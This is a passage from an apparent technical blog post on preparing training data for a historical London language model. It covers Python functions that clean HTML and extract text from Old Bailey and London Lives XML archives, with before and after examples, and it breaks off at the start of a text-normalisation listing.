&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all([&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;div&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ul&amp;#39;&lt;/span&gt;], class_&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;breadcrumb&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;navigation&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;menu&amp;#39;&lt;/span&gt;]):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        element&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decompose()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract text content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_text(separator&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;, strip&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clean up excessive whitespace&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\s+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;, text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 4: HTML Text Cleaning Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Before Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;head&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;title&lt;/span&gt;&amp;gt;London History&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;title&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;nav&lt;/span&gt;&amp;gt;Home | About | Contact&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;nav&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;header&lt;/span&gt;&amp;gt;London Historical Society&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;header&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;h1&lt;/span&gt;&amp;gt;The Great Fire of London&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;p&lt;/span&gt;&amp;gt;In the year 1666, a great fire consumed much of London...&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;footer&lt;/span&gt;&amp;gt;© 2024 London Historical Society&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;footer&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#c6a0f6&#34;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The Great Fire of London in the year 1666, a great fire consumed much of London...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;HTML tags and navigation elements would contaminate training, causing the model to generate markup instead of historical text. Our cleaning process extracts meaningful content while preserving natural flow and structure.&lt;/p&gt;
&lt;h5 id=&#34;xml-files-historical-archives&#34;&gt;&lt;strong&gt;XML Files (Historical Archives):&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;XML files from historical archives, such as the Old Bailey and London Lives, use specific schemas that require specialized parsing. Old Bailey employs &lt;strong&gt;TEI (Text Encoding Initiative)&lt;/strong&gt; with &lt;code&gt;TEI.2&lt;/code&gt; elements, while London Lives uses semantic markup (&lt;code&gt;name&lt;/code&gt;, &lt;code&gt;geo&lt;/code&gt;, &lt;code&gt;occupation&lt;/code&gt;). These structured formats contain authentic historical language with rich metadata, as shown in &lt;a href=&#34;#listing5&#34; class=&#34;listing-ref&#34;&gt;Listing 5&lt;/a&gt;.&lt;/p&gt;
&lt;figure id=&#34;listing5&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;extract_old_bailey_text&lt;/span&gt;(soup) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Extract text from Old Bailey XML using TEI schema structure&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    extracted_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for TEI.2 elements (Old Bailey schema)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tei_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;TEI.2&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; tei_elements:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract trial accounts (main narrative content)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        trial_accounts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;div1&amp;#39;&lt;/span&gt;, {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;trialAccount&amp;#39;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; trial &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; trial_accounts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            trial_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; extract_trial_narrative(trial)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; trial_text:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                extracted_text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(trial_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract front matter (session information)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        front_matter &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;div1&amp;#39;&lt;/span&gt;, {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;frontMatter&amp;#39;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; front &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; front_matter:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            front_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; extract_front_matter_narrative(front)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; front_text:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                extracted_text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(front_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(extracted_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;extract_london_lives_text&lt;/span&gt;(soup) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Extract text from London Lives XML using semantic markup schema&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    extracted_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for London Lives specific elements (name, geo, occupation, date)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    geo_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;geo&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    occupation_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;occupation&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; name_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; geo_elements &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; occupation_elements:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract paragraphs with semantic markup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        paragraphs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;p&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; para &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; paragraphs:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            p_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; extract_paragraph_with_semantic_markup(para)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; p_text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                extracted_text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(p_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(extracted_text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 5: XML Text Extraction Functions&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Old Bailey XML (Before Processing):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;trial&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;frontmatter&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;session&amp;gt;&lt;/span&gt;Session 1&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/session&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;date&amp;gt;&lt;/span&gt;1674-04-15&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/date&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;location&amp;gt;&lt;/span&gt;Old Bailey&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/location&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/frontmatter&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;proceedings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The prisoner being brought to the bar, and the indictment being read, he pleaded Not Guilty. The witnesses being sworn, the first witness deposed that on the 15th day of April last, he saw the prisoner in the company of several suspicious persons...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/proceedings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/trial&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After Processing:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Session 1 1674-04-15 Old Bailey The prisoner being brought to the bar, and the indictment being read, he pleaded Not Guilty. The witnesses being sworn, the first witness deposed, that on the 15th day of April last, he saw the prisoner in the company of several suspicious persons...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;These XML files contain the most authentic historical language in our entire dataset. The Old Bailey trials show how people actually spoke in court during the 17th-19th centuries, while London Lives reveals the everyday language used in personal records and official documents. This authentic historical language is very useful for training a model that can generate historically accurate text, as it provides the model with genuine examples of how people wrote and spoke during different historical periods.&lt;/p&gt;
&lt;h4 id=&#34;223-stage-3-text-normalization&#34;&gt;2.2.3 Stage 3: Text Normalization&lt;/h4&gt;
&lt;p&gt;After extraction, text normalization ensures consistency and compatibility with the training data. Historical documents contain encoding issues, inconsistent formatting, and special characters that confuse the model. Our normalization process fixes these issues and breaks long lines to fit within the model&amp;rsquo;s context window. This is critical because lines exceeding the context window appear as incomplete sentences to the transformer, severely degrading generation quality due to the attention mechanism&amp;rsquo;s inability to process fragmented text.&lt;/p&gt;
&lt;p&gt;Inconsistent encoding and formatting can severely confuse the language model during training. For example, if some files use smart quotes (&amp;quot;) and others use straight quotes (&amp;quot;), the model might not learn that they represent the same concept, leading to inconsistent and potentially incorrect text generation. Normalization ensures that the model observes consistent patterns across all training data, which is crucial for learning coherent language patterns and generating high-quality historical text.&lt;/p&gt;
&lt;p&gt;The code snippet in &lt;a href=&#34;#listing6&#34; class=&#34;listing-ref&#34;&gt;Listing 6&lt;/a&gt; demonstrates how we implement this normalization, which is quite straightforward.&lt;/p&gt;
&lt;figure id=&#34;listing6&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;normalize_text&lt;/span&gt;(text: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Normalize text for consistent training data&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;unicodedata&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Fix common encoding issues&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    encoding_fixes &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€™&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Smart apostrophe&lt;/span&gt;
